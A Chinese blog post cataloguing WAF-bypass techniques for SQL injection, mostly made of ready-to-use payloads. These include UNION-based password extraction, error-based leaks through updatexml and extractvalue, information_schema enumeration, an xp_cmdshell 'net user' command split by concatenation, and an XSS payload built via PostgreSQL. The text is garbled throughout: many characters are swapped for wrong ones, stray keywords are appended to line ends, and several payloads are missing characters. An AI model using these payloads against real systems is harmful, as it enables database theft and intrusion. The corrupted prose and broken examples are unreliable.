前些天去听了从容大神的绕waf姿式分享,受益不浅,看完之后总结一下php
就先从最简单的绕过方法开始吧(这些方法可能如今已经不适用了,但仍是整理一下,打牢基础)正则表达式
从目前能找到的资料来看,我把这些绕过waf的技术分为9类,包含从初级到高级技巧sql
a) 大小写混合数据库
b)替换关键字express
c)使用编码浏览器
d)使用注释函数
e)等价函数与命令post
f)特殊符号测试
g)HTTP参数控制ui
h)缓冲区溢出
i)整合绕过
a) 大小写绕过
大小写绕过用于只针对小写或大写的关键字匹配技术,正则表达式/express/i 大小写不敏感即没法绕过,这是最简单的绕过技术
举例:z.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4
示例场景可能的状况为filter的规则里有对大小写转换的处理,但不是每一个关键字或每种状况都有处理
b)替换关键字
这种状况下大小写转化没法绕过,并且正则表达式会替换或删除select、union这些关键字,若是只匹配一次就很容易绕过
举例:z.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4
一样是很基础的技术,有些时候甚至构造得更复杂:SeLSeselectleCTecT,不建议对此抱太大指望
c)使用编码
1.URL编码
在Chrome中输入一个链接,非保留字的字符浏览器会对其URL编码,如空格变为 、单引号'、左括号(、右括号)
普通的URL编码可能没法实现绕过,还存在一种状况URL编码只进行了一次过滤,能够用两次编码绕过:page.php?id=1UNION 1,2,3,4…
SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
示例代码中,前者是对单个字符十六进制编码,后者则是对整个字符串编码,使用上来讲较少见一点
3.Unicode编码
Unicode有所谓的标准编码和非标准编码,假设咱们用的utf-8为标准编码,那么西欧语系所使用的就是非标准编码了
看一下经常使用的几个符号的一些Unicode编码:
单引号: %u002七、%u02b九、%u02bc、%u02c八、%u203二、%uff0七、�'、�、�
空格:%u0020、%uff00、� 、�、�
左括号:%u002八、%uff0八、�(、�、�
右括号:%u002九、%uff0九、�)、�、�
举例:?id=10�‘ AND 1=2#
SELECT 'Ä'='A'; #1
两个示例中,前者利用双字节绕过,好比对单引号转义操做变成\',那么就变成了�\',�\构成了一个款字节即Unicode字节,单引号能够正常使用
第二个示例使用的是两种不一样编码的字符的比较,它们比较的结果多是True或者False,关键在于Unicode编码种类繁多,基于黑名单的过滤器没法处理因此状况,从而实现绕过
另外平时听得多一点的多是utf-7的绕过,还有utf-1六、utf-32的绕过,后者从成功的实现对google的绕过,有兴趣的朋友能够去了解下
常见的编码固然还有二进制、八进制,它们不必定都派得上用场,但后面会提到使用二进制的例子
d) 使用注释
看一下常见的用于注释的符号有哪些://, -- , , #, --+,-- -, ;,--a
1.普通注释
举例:z.com/index.php?page_id=-15 UnIONSElecT 1,2,3,4
'union�select pass from users#
在构造得查询语句中插入注释,规避对空格的依赖或关键字识别;#、--+用于终结语句的查询
2.内联注释
相比普通注释,内联注释用的更多,它有一个特性/!**/只有MySQL能识别
举例:index.php?page_id=-15 1,2,3
?page_id=null all +1,2,3,4…
两个示例中前者使用内联注释,后者还用到了普通注释。使用注释一个颇有用的作法即是对关键字的拆分,要作到这一点后面讨论的特殊符号也能实现,固然前提是包括/、*在内的这些字符能正常使用
e)等价函数与命令
有些函数或命令因其关键字被检测出来而没法使用,可是在不少状况下可使用与之等价或相似的代码替代其使用
1.函数或变量
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
举例:substring()和substr()没法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
或者:substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
上述这几个示例用于说明有时候当某个函数不能使用时,还能够找到其余的函数替代其实现,置于select、uinon、where等关键字被限制如何处理将在后面filter部分讨论
2.符号
and和or有可能不能使用,或者能够试下&&和||能不能用;还有=不能使用的状况,能够考虑尝试<、>,由于若是不小于又不大于,那边是等于了
在看一下用得多的空格,可使用以下符号表示其做用: �
3.生僻函数
MySQL/PostgreSQL支持XML函数:Select UpdateXML(‘
?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))
SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql
?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
MySQL、PostgreSQL、Oracle它们都有许多本身的函数,基于黑名单的filter要想涵盖这么多东西从实际上来讲不太可能,并且代价太大,看来黑名单技术到必定程度便遇到了限制
f) 特殊符号
这里我把非字母数字的字符都规在了特殊符号一类,特殊符号有特殊的含义和用法,涉及信息量比前面提到的几种都要多
先看下乌云drops上“waf的绕过技巧”一文使用的几个例子:
1.使用反引号`,例如select `version()`,能够用来过空格和正则,特殊状况下还能够将其作注释符用
2.神奇的"-+.",select+id-1+1.from users; “+”是用于字符串链接的,”-”和”.”在此也用于链接,能够逃过空格和关键字过滤
3.@符号,select@^1.from users; @用于变量定义如@var_name,一个@表示用户定义,@@表示系统变量
4.Mysql function() as xxx 也可不用as和空格 select-count(id)test from users; //绕过空格限制
可见,使用这些字符的确是能作不少事,也证明了那句老话,只有想不到,没有作不到
本人搜罗了部分可能发挥大做用的字符(未包括'、*、/等在内,考虑到前面已经出现较屡次了):`、~、!、@、%、()、[]、.、-、+ 、|、
举例:
关键字拆分:‘se’+’lec’+’t’
%S%E%L%E%C%T 1
1.aspx?id=1;EXEC(‘ma’+'ster..x’+'p_cm’+'dsh’+'ell ”net user”’)
!和():' or --+2=- -!!!'2
id=1+(UnI)(oN)+(SeL)(EcT) //另 Access中,”[]”用于表和列,”()”用于数值也能够作分隔
本节最后在给出一些和这些字符多少有点关系的操做符供参考:
>>, <<, >=, <=, <>,<=>,XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN
使用这些"特殊符号"实现绕过是一件很细微的事情,一方面各家数据库对有效符号的处理是不同的,另外一方面你得充分了解这些符号的特性和使用方法才能做为绕过手段
g) HTTP参数控制
这里HTTP参数控制除了对查询语句的参数进行篡改,还包括HTTP方法、HTTP头的控制
1.HPP(HTTP Parameter Polution)
举例:/?id=1;select+1,2,3+from+users+where+id=1—
/?id=1;select+1&id=2,3+from+users+where+id=1—
/?id=1unionselectpwdfromusers
HPP又称作重复参数污染,最简单的就是?uid=1&uid=2&uid=3
2.HPF(HTTP Parameter Fragment)
这种方法是HTTP分割注入,同CRLF有类似之处(使用控制字符 、 等执行换行)
举例:
/?a=1+unionselect+1,passfrom+users--
select * from table where a=1 unionselect 1,passfrom users—
看罢上面两个示例,发现和HPP最后一个示例很像,不一样之处在于参数不同,这里是在不一样的参数之间进行分割,到了数据库执行查询时再合并语句。
h) 缓冲区溢出(Advanced)
缓冲区溢出用于对付WAF,有很多WAF是C语言写的,而C语言自身没有缓冲区保护机制,所以若是WAF在处理测试向量时超出了其缓冲区长度,就会引起bug从而实现绕过
举例:
?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
示例0xA*1000指0xA后面”A"重复1000次,通常来讲对应用软件构成缓冲区溢出都须要较大的测试长度,这里1000只作参考,在某些状况下可能不须要这么长也能溢出
i) 整合绕过
整合的意思是结合使用前面谈到的各类绕过技术,单一的技术可能没法绕过过滤机制,可是多种技术的配合使用成功的可能性就会增长很多了。这一方面来讲 是整体与局部和的关系,另外一方面则是多种技术的使用创造了更多的可能性,除非每一种技术单独都没法使用,不然它们能产生比自身大得多的能量。
举例:
z.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+++1,2,3,4… id=1+SeLeCT+1,2,concat()+FrOM .tables ++like+database()– - ?id=-725+++1,GrOUp_COnCaT(COLUMN_NAME),3,4 ,5+FROM+.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--